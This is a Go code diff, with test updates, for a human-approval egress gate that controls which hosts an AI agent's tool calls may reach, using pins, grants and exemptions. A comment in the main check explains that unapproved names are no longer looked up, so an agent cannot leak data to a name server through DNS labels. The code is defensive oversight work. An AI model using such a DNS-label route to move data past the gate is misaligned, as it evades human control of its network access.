||||||
|
return slices.DeleteFunc(pins, func(p *db.TargetPin) bool { return p.Status != db.TargetPinActive }), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// pinsFor returns the active pins that may cover (host, port), the pin on the
|
||||||
|
// exact port first, as db.ActiveTargetPins does: a target on a declared port
|
||||||
|
// has the pin on that port and the pin on port 0 as candidates, a target whose
|
||||||
|
// port is not declared only the pin on port 0.
|
||||||
|
func pinsFor(pins []*db.TargetPin, host string, port int) []*db.TargetPin {
|
||||||
|
var out []*db.TargetPin
|
||||||
|
for _, p := range pins {
|
||||||
|
if p.Status == db.TargetPinActive && p.Host == host && (p.Port == port || p.Port == 0) {
|
||||||
|
out = append(out, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
slices.SortStableFunc(out, func(a, b *db.TargetPin) int { return b.Port - a.Port })
|
||||||
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s dbTargetStore) EgressGrants(scope db.TargetScopeRef) ([]db.ScopeEgress, error) {
|
func (s dbTargetStore) EgressGrants(scope db.TargetScopeRef) ([]db.ScopeEgress, error) {
|
||||||
@@ -95,11 +114,18 @@ func (s dbTargetStore) LogDecision(r db.TargetDecision) error {
|
|||||||
// rules, exemptions, resolution and the pin lookup. It creates no approval
|
// rules, exemptions, resolution and the pin lookup. It creates no approval
|
||||||
// request and never waits.
|
// request and never waits.
|
||||||
//
|
//
|
||||||
|
// Only a name that something already approved is resolved: a stored exemption,
|
||||||
|
// an operator-approved egress grant or a pin that names it. A lookup goes out
|
||||||
|
// through the panel's resolver, past the sandbox egress boundary, so a name
|
||||||
|
// nothing approved is never looked up: it is requested by name, and resolved
|
||||||
|
// when a human approves it (Decide).
|
||||||
|
//
|
||||||
// A block is reported in the result (Code, Reason and the target that caused
|
// A block is reported in the result (Code, Reason and the target that caused
|
||||||
// it) and logged as a decided row. Otherwise the returned requests are the
|
// it) and logged as a decided row. Otherwise the returned requests are the
|
||||||
// targets no pin covers, each with the addresses a human has to read; the
|
// targets no pin covers, each with the addresses a human has to read (none for
|
||||||
// caller passes them to RequestTargets and checks again after the decisions.
|
// a name that was not resolved); the caller passes them to RequestTargets and
|
||||||
// No request and no code means the call may run.
|
// checks again after the decisions. No request and no code means the call may
|
||||||
|
// run.
|
||||||
//
|
//
|
||||||
// With the gate off the call returns at once: nothing is extracted, resolved,
|
// With the gate off the call returns at once: nothing is extracted, resolved,
|
||||||
// read or written.
|
// read or written.
|
||||||
@@ -129,8 +155,45 @@ type targetCheck struct {
|
|||||||
// fresh makes every lookup skip the cache: the decision of a connection
|
// fresh makes every lookup skip the cache: the decision of a connection
|
||||||
// (dialTarget) compares the answer it is about to dial.
|
// (dialTarget) compares the answer it is about to dial.
|
||||||
fresh bool
|
fresh bool
|
||||||
|
// direct is set for a connection the platform opens itself (dialTarget):
|
||||||
|
// no proxy chooses its address, so no cover is name-only and the
|
||||||
|
// connection goes only to the addresses the run compared.
|
||||||
|
direct bool
|
||||||
// checked is what the run decided about each target, read by dialTarget.
|
// checked is what the run decided about each target, read by dialTarget.
|
||||||
checked []*checkedTarget
|
checked []*checkedTarget
|
||||||
|
// pins are the active pins of the scope, read once per run (pinsRead).
|
||||||
|
pins []*db.TargetPin
|
||||||
|
pinsRead bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// activePins returns the active pins that may cover (host, port). The pins of
|
||||||
|
// the scope are read on the first call of a run and reused for every target.
|
||||||
|
func (c *targetCheck) activePins(host string, port int) ([]*db.TargetPin, error) {
|
||||||
|
if err := c.readPins(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return pinsFor(c.pins, host, port), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// namePinned reports whether a human approved the name on some port: an
|
||||||
|
// active pin of the scope holds it.
|
||||||
|
func (c *targetCheck) namePinned(host string) (bool, error) {
|
||||||
|
if err := c.readPins(); err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
return slices.ContainsFunc(c.pins, func(p *db.TargetPin) bool { return p.Host == host }), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *targetCheck) readPins() error {
|
||||||
|
if c.pinsRead {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
pins, err := c.i.targets.ScopePins(c.ref)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
c.pins, c.pinsRead = pins, true
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// What let a target pass, recorded in checkedTarget.cover.
|
// What let a target pass, recorded in checkedTarget.cover.
|
||||||
@@ -151,6 +214,9 @@ type checkedTarget struct {
|
|||||||
err error // the name did not resolve
|
err error // the name did not resolve
|
||||||
exemptVoid bool
|
exemptVoid bool
|
||||||
cover string // what let the target pass; empty when nothing did
|
cover string // what let the target pass; empty when nothing did
|
||||||
|
// unresolved: a name no stored exemption, grant or pin names. It is never
|
||||||
|
// resolved by the check and is requested by name.
|
||||||
|
unresolved bool
|
||||||
}
|
}
|
||||||
|
|
||||||
func (t Target) String() string {
|
func (t Target) String() string {
|
||||||
@@ -214,56 +280,57 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
|
|||||||
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", t, rule.Reason()))
|
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", t, rule.Reason()))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Only then are the names resolved, and the rules matched on the addresses.
|
|
||||||
// A name the configuration exempts is never resolved.
|
|
||||||
for _, ct := range checked {
|
|
||||||
if ct.Kind != TargetDomain || ex.derived[db.TargetKey(ct.Host, ct.Port)] {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
c.resolve(ct, c.fresh)
|
|
||||||
if rule, hit := blockRule(rules, ct); hit {
|
|
||||||
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
i.mu.RLock()
|
i.mu.RLock()
|
||||||
proxied := i.upstreamProxy
|
proxied := i.upstreamProxy
|
||||||
toolProxy := i.toolProxy
|
toolProxy := i.toolProxy
|
||||||
i.mu.RUnlock()
|
i.mu.RUnlock()
|
||||||
// Behind a proxy the proxy chooses the address it connects to, so every pin
|
// Behind a proxy the proxy chooses the address it connects to, so every pin
|
||||||
// is name-only for this call, whatever the pin row says: the proxy can be
|
// is name-only for a call whose traffic goes through one: the recording
|
||||||
// turned on after a pin was approved. The recording proxy, the global egress
|
// proxy, the global egress proxy and a custom tool's own proxy all count.
|
||||||
// proxy and a custom tool's own proxy all count. A direct hop (WithDirectHop)
|
// It is decided for this check only, from the path it decides, never from
|
||||||
// is not behind them: the tool dials it itself, so its pins bind the
|
// the pin row: a connection the platform opens itself (direct) is never
|
||||||
// addresses the decision compared.
|
// name-only, whatever proxy is set and whatever state the pin was approved
|
||||||
direct := DirectHop(c.ctx)
|
// in, and a pin approved behind a proxy compares its addresses again once
|
||||||
nameOnly := !direct && ((proxied != nil && proxied()) || (toolProxy != nil && toolProxy(c.tool)))
|
// the proxy is gone.
|
||||||
|
// A direct hop (WithDirectHop, a custom tool's own proxy checked as a
|
||||||
|
// target) is not behind the proxies either: the tool dials it itself.
|
||||||
|
nameOnly := !(c.direct || DirectHop(c.ctx)) && ((proxied != nil && proxied()) || (toolProxy != nil && toolProxy(c.tool)))
|
||||||
|
|
||||||
var unpinned []TargetRequest
|
// The decision on each target, in the order the call declares them. slots
|
||||||
|
// holds the request of a target that no pin covers.
|
||||||
|
slots := make([]*TargetRequest, len(checked))
|
||||||
var uses []func()
|
var uses []func()
|
||||||
for _, ct := range checked {
|
decide := func(n int, ct *checkedTarget) TargetResult {
|
||||||
key := db.TargetKey(ct.Host, ct.Port)
|
key := db.TargetKey(ct.Host, ct.Port)
|
||||||
if ex.derived[key] {
|
if ex.derived[key] {
|
||||||
ct.cover = coverDerived
|
ct.cover = coverDerived
|
||||||
uses = append(uses, func() { c.exemptUsed(ct, ex.digest) })
|
uses = append(uses, func() { c.exemptUsed(ct, ex.digest) })
|
||||||
continue
|
return TargetResult{}
|
||||||
}
|
}
|
||||||
if ex.stored[key] {
|
if ex.stored[key] {
|
||||||
if exemptionHolds(ct) {
|
if exemptionHolds(ct) {
|
||||||
ct.cover = coverStored
|
ct.cover = coverStored
|
||||||
uses = append(uses, func() { c.exemptUsed(ct, ex.digest) })
|
uses = append(uses, func() { c.exemptUsed(ct, ex.digest) })
|
||||||
continue
|
return TargetResult{}
|
||||||
}
|
}
|
||||||
// A void exemption is not a block: the target goes on like any other.
|
// A void exemption is not a block: the target goes on like any other.
|
||||||
ct.exemptVoid = true
|
ct.exemptVoid = true
|
||||||
}
|
}
|
||||||
|
if ct.unresolved {
|
||||||
|
// Requested by name: the addresses are resolved when a human
|
||||||
|
// approves it, and checked by the next run on the pin.
|
||||||
|
slots[n] = &TargetRequest{Host: ct.Host, Port: ct.Port, Kind: ct.Kind, Reason: "no_pin", NameOnly: nameOnly}
|
||||||
|
return TargetResult{}
|
||||||
|
}
|
||||||
if ct.err != nil {
|
if ct.err != nil {
|
||||||
// Checked before the grants: a granted name that does not resolve
|
// Checked before the grants: a granted name that does not resolve
|
||||||
// fails closed like any other name. Nothing was resolved, so no
|
// fails closed like any other name. Nothing was resolved, so no
|
||||||
// address ever met the IP block rules, and an approval could pin
|
// address ever met the IP block rules, and an approval could pin
|
||||||
// nothing; passing on the grant alone would turn a lookup failure
|
// nothing; passing on the grant alone would turn a lookup failure
|
||||||
// into a silent allow.
|
// into a silent allow.
|
||||||
return c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
|
_, res := c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
|
||||||
|
return res
|
||||||
}
|
}
|
||||||
if scopeGrantCover(grants, ct) {
|
if scopeGrantCover(grants, ct) {
|
||||||
// The operator already approved this address space: the grant is a
|
// The operator already approved this address space: the grant is a
|
||||||
@@ -272,61 +339,106 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
|
|||||||
ct.cover = coverScope
|
ct.cover = coverScope
|
||||||
if nameOnly {
|
if nameOnly {
|
||||||
// Behind a proxy the proxy picks the address, exactly as for a
|
// Behind a proxy the proxy picks the address, exactly as for a
|
||||||
// pin: the cover is name-only for this call and the dial hands
|
// pin: the cover is name-only for this call, and the proxy holds
|
||||||
// the connection to the proxy, which holds its own allowlist.
|
// its own allowlist. A direct connection is never here.
|
||||||
ct.cover = coverNameOnly
|
ct.cover = coverNameOnly
|
||||||
}
|
}
|
||||||
uses = append(uses, func() { c.scopeGrantUsed(ct, grantsDigest) })
|
uses = append(uses, func() { c.scopeGrantUsed(ct, grantsDigest) })
|
||||||
continue
|
return TargetResult{}
|
||||||
}
|
}
|
||||||
pins, err := i.targets.ActivePins(c.ref, ct.Host, ct.Port)
|
pins, err := c.activePins(ct.Host, ct.Port)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
|
_, res := c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
|
||||||
|
return res
|
||||||
}
|
}
|
||||||
pin := coveringPin(pins, ct.ips, nameOnly, direct)
|
pin := coveringPin(pins, ct.ips, nameOnly)
|
||||||
if pin == nil && ct.Kind == TargetDomain && !c.fresh {
|
if pin == nil && ct.Kind == TargetDomain && !c.fresh {
|
||||||
// A request is about to be raised: the addresses a human reads and
|
// A request is about to be raised: the addresses a human reads and
|
||||||
// pins are resolved now, never taken from the cache. A fresh run
|
// pins are resolved now, never taken from the cache. A fresh run
|
||||||
// already has them.
|
// already has them.
|
||||||
if c.resolve(ct, true); ct.err != nil {
|
if c.resolve(ct, true); ct.err != nil {
|
||||||
return c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
|
_, res := c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
|
||||||
|
return res
|
||||||
}
|
}
|
||||||
if rule, hit := blockRule(rules, ct); hit {
|
if rule, hit := blockRule(rules, ct); hit {
|
||||||
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
|
_, res := c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
|
||||||
|
return res
|
||||||
}
|
}
|
||||||
pin = coveringPin(pins, ct.ips, nameOnly, direct)
|
pin = coveringPin(pins, ct.ips, nameOnly)
|
||||||
}
|
}
|
||||||
if pin != nil {
|
if pin != nil {
|
||||||
ct.cover = coverPin
|
ct.cover = coverPin
|
||||||
if nameOnly || (pin.NameOnlyEffective && !direct) {
|
if nameOnly {
|
||||||
ct.cover = coverNameOnly
|
ct.cover = coverNameOnly
|
||||||
}
|
}
|
||||||
uses = append(uses, func() { c.pinUsed(ct, pin, nameOnly) })
|
uses = append(uses, func() { c.pinUsed(ct, pin, nameOnly) })
|
||||||
continue
|
return TargetResult{}
|
||||||
}
|
}
|
||||||
req := TargetRequest{Host: ct.Host, Port: ct.Port, Kind: ct.Kind, ResolvedIPs: ct.ips,
|
req := TargetRequest{Host: ct.Host, Port: ct.Port, Kind: ct.Kind, ResolvedIPs: ct.ips,
|
||||||
Resolver: ct.resolver, ResolvedAt: ct.resolvedAt, Reason: "no_pin", ExemptVoid: ct.exemptVoid}
|
Resolver: ct.resolver, ResolvedAt: ct.resolvedAt, Reason: "no_pin", ExemptVoid: ct.exemptVoid, NameOnly: nameOnly}
|
||||||
if len(pins) > 0 {
|
if len(pins) > 0 {
|
||||||
// The request is raised on the key of the pin that exists (the one on
|
// The request is raised on the key of the pin that exists (the one on
|
||||||
// the exact port when both exist), so that an approval extends that pin.
|
// the exact port when both exist), so that an approval extends that pin.
|
||||||
req.Port, req.Reason, req.Pin = pins[0].Port, "new_ip", pins[0]
|
req.Port, req.Reason, req.Pin = pins[0].Port, "new_ip", pins[0]
|
||||||
}
|
}
|
||||||
if !hasRequest(unpinned, req) {
|
slots[n] = &req
|
||||||
unpinned = append(unpinned, req)
|
return TargetResult{}
|
||||||
|
}
|
||||||
|
requests := func() []TargetRequest {
|
||||||
|
var out []TargetRequest
|
||||||
|
for _, r := range slots {
|
||||||
|
if r != nil && !hasRequest(out, *r) {
|
||||||
|
out = append(out, *r)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// First every target that needs no lookup: a derived exemption, an IP
|
||||||
|
// literal or a range, and a name that nothing approved. A name is resolved
|
||||||
|
// only when a stored exemption on the target, an operator-approved grant or
|
||||||
|
// a pin on any port of the name names it; any other name is requested by
|
||||||
|
// name and never looked up here, so an agent cannot send data to a name
|
||||||
|
// server through the labels of a name.
|
||||||
|
var named []int
|
||||||
|
for n, ct := range checked {
|
||||||
|
if ct.Kind == TargetDomain && !ex.derived[db.TargetKey(ct.Host, ct.Port)] {
|
||||||
|
pinned, err := c.namePinned(ct.Host)
|
||||||
|
if err != nil {
|
||||||
|
return c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
|
||||||
|
}
|
||||||
|
if pinned || ex.stored[db.TargetKey(ct.Host, ct.Port)] || scopeGrantCover(grants, ct) {
|
||||||
|
named = append(named, n)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ct.unresolved = true
|
||||||
|
}
|
||||||
|
if res := decide(n, ct); res.Code != "" {
|
||||||
|
return nil, res
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if len(unpinned) > maxUnpinnedTargets {
|
// The cap applies before any lookup: a call that already names too many
|
||||||
names := make([]string, len(unpinned))
|
// targets to request resolves nothing.
|
||||||
audit := make([]db.InterceptTarget, len(unpinned))
|
if unpinned := requests(); len(unpinned) > maxUnpinnedTargets {
|
||||||
for n, r := range unpinned {
|
return c.tooMany(unpinned)
|
||||||
names[n] = targetName(r)
|
}
|
||||||
audit[n] = db.InterceptTarget{Host: r.Host, Port: r.Port, Kind: r.Kind, ResolvedIPs: r.ResolvedIPs,
|
// Then the names something approved are resolved, and the rules matched on
|
||||||
Resolver: r.Resolver, ResolvedAt: r.ResolvedAt, Reason: r.Reason, Outcome: "too_many"}
|
// the addresses, before any of them is decided.
|
||||||
|
for _, n := range named {
|
||||||
|
ct := checked[n]
|
||||||
|
c.resolve(ct, c.fresh)
|
||||||
|
if rule, hit := blockRule(rules, ct); hit {
|
||||||
|
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
|
||||||
}
|
}
|
||||||
reason := fmt.Sprintf("this call names %d targets that are not approved (%s); at most %d are requested per call",
|
}
|
||||||
len(unpinned), strings.Join(names, ", "), maxUnpinnedTargets)
|
for _, n := range named {
|
||||||
c.log("denied", TargetTooMany+": "+reason, "", audit...)
|
if res := decide(n, checked[n]); res.Code != "" {
|
||||||
return nil, TargetResult{Code: TargetTooMany, Host: unpinned[0].Host, Port: unpinned[0].Port, Reason: reason}
|
return nil, res
|
||||||
|
}
|
||||||
|
}
|
||||||
|
unpinned := requests()
|
||||||
|
if len(unpinned) > maxUnpinnedTargets {
|
||||||
|
return c.tooMany(unpinned)
|
||||||
}
|
}
|
||||||
if len(unpinned) == 0 {
|
if len(unpinned) == 0 {
|
||||||
// The call passes: record what let it pass, once per process.
|
// The call passes: record what let it pass, once per process.
|
||||||
@@ -344,9 +456,24 @@ func (c *targetCheck) resolve(ct *checkedTarget, fresh bool) {
|
|||||||
ct.ips, ct.resolvedAt, ct.err = res.ips, res.at, err
|
ct.ips, ct.resolvedAt, ct.err = res.ips, res.at, err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// tooMany blocks a call that names more targets to request than one call may.
|
||||||
|
func (c *targetCheck) tooMany(unpinned []TargetRequest) ([]TargetRequest, TargetResult) {
|
||||||
|
names := make([]string, len(unpinned))
|
||||||
|
audit := make([]db.InterceptTarget, len(unpinned))
|
||||||
|
for n, r := range unpinned {
|
||||||
|
names[n] = targetName(r)
|
||||||
|
audit[n] = db.InterceptTarget{Host: r.Host, Port: r.Port, Kind: r.Kind, ResolvedIPs: r.ResolvedIPs,
|
||||||
|
Resolver: r.Resolver, ResolvedAt: r.ResolvedAt, Reason: r.Reason, Outcome: "too_many"}
|
||||||
|
}
|
||||||
|
reason := fmt.Sprintf("this call names %d targets that are not approved (%s); at most %d are requested per call",
|
||||||
|
len(unpinned), strings.Join(names, ", "), maxUnpinnedTargets)
|
||||||
|
c.log("denied", TargetTooMany+": "+reason, "", audit...)
|
||||||
|
return nil, TargetResult{Code: TargetTooMany, Host: unpinned[0].Host, Port: unpinned[0].Port, Reason: reason}
|
||||||
|
}
|
||||||
|
|
||||||
func (c *targetCheck) resolveFailure(ct *checkedTarget) string {
|
func (c *targetCheck) resolveFailure(ct *checkedTarget) string {
|
||||||
reason := fmt.Sprintf("the platform could not resolve %s (%v)", ct.Host, ct.err)
|
reason := fmt.Sprintf("the platform could not resolve %s (%v)", ct.Host, ct.err)
|
||||||
if pins, err := c.i.targets.ActivePins(c.ref, ct.Host, ct.Port); err == nil && len(pins) > 0 {
|
if pins, err := c.activePins(ct.Host, ct.Port); err == nil && len(pins) > 0 {
|
||||||
reason += fmt.Sprintf(", so it cannot compare the address with the approved pin (v%d: %s)",
|
reason += fmt.Sprintf(", so it cannot compare the address with the approved pin (v%d: %s)",
|
||||||
pins[0].Version, strings.Join(pins[0].PinnedIPs, ", "))
|
pins[0].Version, strings.Join(pins[0].PinnedIPs, ", "))
|
||||||
}
|
}
|
||||||
@@ -392,14 +519,14 @@ func (c *targetCheck) exemptUsed(ct *checkedTarget, digest string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// pinUsed logs the first call of this process that a pin version covers.
|
// pinUsed logs the first call of this process that a pin version covers.
|
||||||
// nameOnly is whether the upstream proxy made every pin name-only for the call:
|
// nameOnly is whether a proxy made the pin name-only for this check: the row
|
||||||
// the row records the effective state, not only the pin's mark.
|
// records the effective state of the use, not the pin's mark.
|
||||||
func (c *targetCheck) pinUsed(ct *checkedTarget, pin *db.TargetPin, nameOnly bool) {
|
func (c *targetCheck) pinUsed(ct *checkedTarget, pin *db.TargetPin, nameOnly bool) {
|
||||||
if _, seen := c.i.firstUse.LoadOrStore(fmt.Sprintf("pin|%d", pin.ID), true); seen {
|
if _, seen := c.i.firstUse.LoadOrStore(fmt.Sprintf("pin|%d", pin.ID), true); seen {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
t := ct.audit("pin_match")
|
t := ct.audit("pin_match")
|
||||||
t.PinID, t.PinVersion, t.PinnedIPs, t.NameOnlyEffective = pin.ID, pin.Version, pin.PinnedIPs, nameOnly || (pin.NameOnlyEffective && !DirectHop(c.ctx))
|
t.PinID, t.PinVersion, t.PinnedIPs, t.NameOnlyEffective = pin.ID, pin.Version, pin.PinnedIPs, nameOnly
|
||||||
c.log("allowed", fmt.Sprintf("Target %s is covered by pin v%d of %s.", ct.Target, pin.Version, c.scope.scopeName()), "", t)
|
c.log("allowed", fmt.Sprintf("Target %s is covered by pin v%d of %s.", ct.Target, pin.Version, c.scope.scopeName()), "", t)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -532,13 +659,13 @@ func exemptionHolds(ct *checkedTarget) bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// coveringPin returns the pin that covers the resolved addresses: the first
|
// coveringPin returns the pin that covers the resolved addresses: the first
|
||||||
// candidate that is name-only, or that holds every address. A direct hop does
|
// candidate when the check is name-only, else the first that holds every
|
||||||
// not accept a name-only pin on its name alone: the connection is opened to the
|
// address. The pin's name_only_effective mark plays no role: it records how
|
||||||
// addresses the decision compared, so such a pin covers only when it holds them
|
// the pin was approved, not the path of this check. The address sets of two
|
||||||
// too. The address sets of two pins are never merged.
|
// pins are never merged.
|
||||||
func coveringPin(pins []*db.TargetPin, resolved []string, nameOnly, direct bool) *db.TargetPin {
|
func coveringPin(pins []*db.TargetPin, resolved []string, nameOnly bool) *db.TargetPin {
|
||||||
for _, p := range pins {
|
for _, p := range pins {
|
||||||
if nameOnly || (!direct && p.NameOnlyEffective) || subset(resolved, p.PinnedIPs) {
|
if nameOnly || subset(resolved, p.PinnedIPs) {
|
||||||
return p
|
return p
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -382,17 +382,20 @@ func TestApprovalNeverPinsEmptyAddressList(t *testing.T) {
|
|||||||
scope := taskScope(t, d, ic, time.Minute)
|
scope := taskScope(t, d, ic, time.Minute)
|
||||||
ref := scope.dbRef(t)
|
ref := scope.dbRef(t)
|
||||||
|
|
||||||
// RequestTargets refuses to open such a request.
|
// RequestTargets refuses to open such a request. (A name nothing approved
|
||||||
|
// is requested without addresses on purpose: Decide resolves it on
|
||||||
|
// approval. Any other request without addresses is refused.)
|
||||||
for _, ips := range [][]string{nil, {}} {
|
for _, ips := range [][]string{nil, {}} {
|
||||||
out := ic.RequestTargets(context.Background(), scope, "WebFetch", webFetchInput,
|
out := ic.RequestTargets(context.Background(), scope, "WebFetch", webFetchInput,
|
||||||
[]TargetRequest{{Host: "app.example.com", Port: 443, Kind: TargetDomain, ResolvedIPs: ips, Reason: "no_pin"}}, nil)
|
[]TargetRequest{{Host: "198.51.100.9", Port: 443, Kind: TargetIP, ResolvedIPs: ips, Reason: "no_pin"}}, nil)
|
||||||
if out.Code != TargetResolveFailed || out.PendingID != 0 {
|
if out.Code != TargetResolveFailed || out.PendingID != 0 {
|
||||||
t.Fatalf("request with %v: %+v, want %s", ips, out, TargetResolveFailed)
|
t.Fatalf("request with %v: %+v, want %s", ips, out, TargetResolveFailed)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// One empty target refuses the whole call, before any row is written.
|
// One empty target refuses the whole call, before any row is written.
|
||||||
out := ic.RequestTargets(context.Background(), scope, "Bash", []byte(`{"command":"x"}`),
|
out := ic.RequestTargets(context.Background(), scope, "Bash", []byte(`{"command":"x"}`),
|
||||||
[]TargetRequest{target("a.example.com", 443, "203.0.113.7"), target("b.example.com", 443)}, nil)
|
[]TargetRequest{target("a.example.com", 443, "203.0.113.7"),
|
||||||
|
{Host: "b.example.com", Port: 443, Kind: TargetDomain, Reason: "new_ip", Pin: &db.TargetPin{ID: 1, Version: 1, PinnedIPs: []string{"203.0.113.8"}}}}, nil)
|
||||||
if out.Code != TargetResolveFailed || out.Host != "b.example.com" || allRows(t, d, scope) != 0 {
|
if out.Code != TargetResolveFailed || out.Host != "b.example.com" || allRows(t, d, scope) != 0 {
|
||||||
t.Fatalf("mixed call: %+v with %d rows, want %s and no row", out, allRows(t, d, scope), TargetResolveFailed)
|
t.Fatalf("mixed call: %+v with %d rows, want %s and no row", out, allRows(t, d, scope), TargetResolveFailed)
|
||||||
}
|
}
|
||||||
@@ -458,6 +461,10 @@ func TestTargetBlockIsLoggedForConversation(t *testing.T) {
|
|||||||
_, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, conv.ID)
|
_, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, conv.ID)
|
||||||
})
|
})
|
||||||
scope := TargetScope{ConversationID: conv.ID, Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: ic}
|
scope := TargetScope{ConversationID: conv.ID, Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: ic}
|
||||||
|
// A pin on another port makes the name one the gate resolves; a name
|
||||||
|
// nothing approved is requested by name and never blocked on its lookup.
|
||||||
|
res.set("app.example.com", "203.0.113.7")
|
||||||
|
pinURL(t, d, ic, scope, "https://app.example.com:8443/")
|
||||||
res.errs["app.example.com"] = errors.New("no such host")
|
res.errs["app.example.com"] = errors.New("no such host")
|
||||||
ctx := WithCall(WithConvID(context.Background(), conv.ID), "WebFetch", fetchInput("https://app.example.com/"))
|
ctx := WithCall(WithConvID(context.Background(), conv.ID), "WebFetch", fetchInput("https://app.example.com/"))
|
||||||
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("https://app.example.com/")); out.Code != TargetResolveFailed || len(reqs) != 0 {
|
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("https://app.example.com/")); out.Code != TargetResolveFailed || len(reqs) != 0 {
|
||||||
|
|||||||
@@ -25,6 +25,9 @@ type fakeStore struct {
|
|||||||
fail map[string]error // by method name
|
fail map[string]error // by method name
|
||||||
reads int
|
reads int
|
||||||
logged []db.TargetDecision
|
logged []db.TargetDecision
|
||||||
|
// resolve is the lookup approve does for a request raised by name, as
|
||||||
|
// Decide does on approval.
|
||||||
|
resolve func(host string) []string
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *fakeStore) read(method string) error {
|
func (s *fakeStore) read(method string) error {
|
||||||
@@ -38,19 +41,18 @@ func (s *fakeStore) BlockRules(db.TargetScopeRef) ([]db.AssetInterceptRule, erro
|
|||||||
return s.rules, s.read("BlockRules")
|
return s.rules, s.read("BlockRules")
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *fakeStore) ActivePins(_ db.TargetScopeRef, host string, port int) ([]*db.TargetPin, error) {
|
func (s *fakeStore) ScopePins(db.TargetScopeRef) ([]*db.TargetPin, error) {
|
||||||
if err := s.read("ActivePins"); err != nil {
|
if err := s.read("ScopePins"); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
s.mu.Lock()
|
s.mu.Lock()
|
||||||
defer s.mu.Unlock()
|
defer s.mu.Unlock()
|
||||||
var out []*db.TargetPin
|
var out []*db.TargetPin
|
||||||
for _, p := range s.pins {
|
for _, p := range s.pins {
|
||||||
if p.Status == db.TargetPinActive && p.Host == host && (p.Port == port || p.Port == 0) {
|
if p.Status == db.TargetPinActive {
|
||||||
out = append(out, p)
|
out = append(out, p)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
slices.SortFunc(out, func(a, b *db.TargetPin) int { return b.Port - a.Port })
|
|
||||||
return out, nil
|
return out, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -72,6 +74,10 @@ func (s *fakeStore) LogDecision(r db.TargetDecision) error {
|
|||||||
// approve pins what the request displays: a new version that holds the
|
// approve pins what the request displays: a new version that holds the
|
||||||
// addresses of the active pin of the key plus the displayed ones.
|
// addresses of the active pin of the key plus the displayed ones.
|
||||||
func (s *fakeStore) approve(r TargetRequest) *db.TargetPin {
|
func (s *fakeStore) approve(r TargetRequest) *db.TargetPin {
|
||||||
|
if len(r.ResolvedIPs) == 0 && r.Kind == TargetDomain && s.resolve != nil {
|
||||||
|
// A request raised by name: Decide resolves it on approval.
|
||||||
|
r.ResolvedIPs = s.resolve(r.Host)
|
||||||
|
}
|
||||||
s.mu.Lock()
|
s.mu.Lock()
|
||||||
defer s.mu.Unlock()
|
defer s.mu.Unlock()
|
||||||
pin := &db.TargetPin{ID: int64(len(s.pins) + 1), Host: r.Host, Port: r.Port, Version: 1, Status: db.TargetPinActive,
|
pin := &db.TargetPin{ID: int64(len(s.pins) + 1), Host: r.Host, Port: r.Port, Version: 1, Status: db.TargetPinActive,
|
||||||
@@ -103,7 +109,9 @@ func (s *fakeStore) revoke(host string, port int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (s *fakeStore) active(host string, port int) *db.TargetPin {
|
func (s *fakeStore) active(host string, port int) *db.TargetPin {
|
||||||
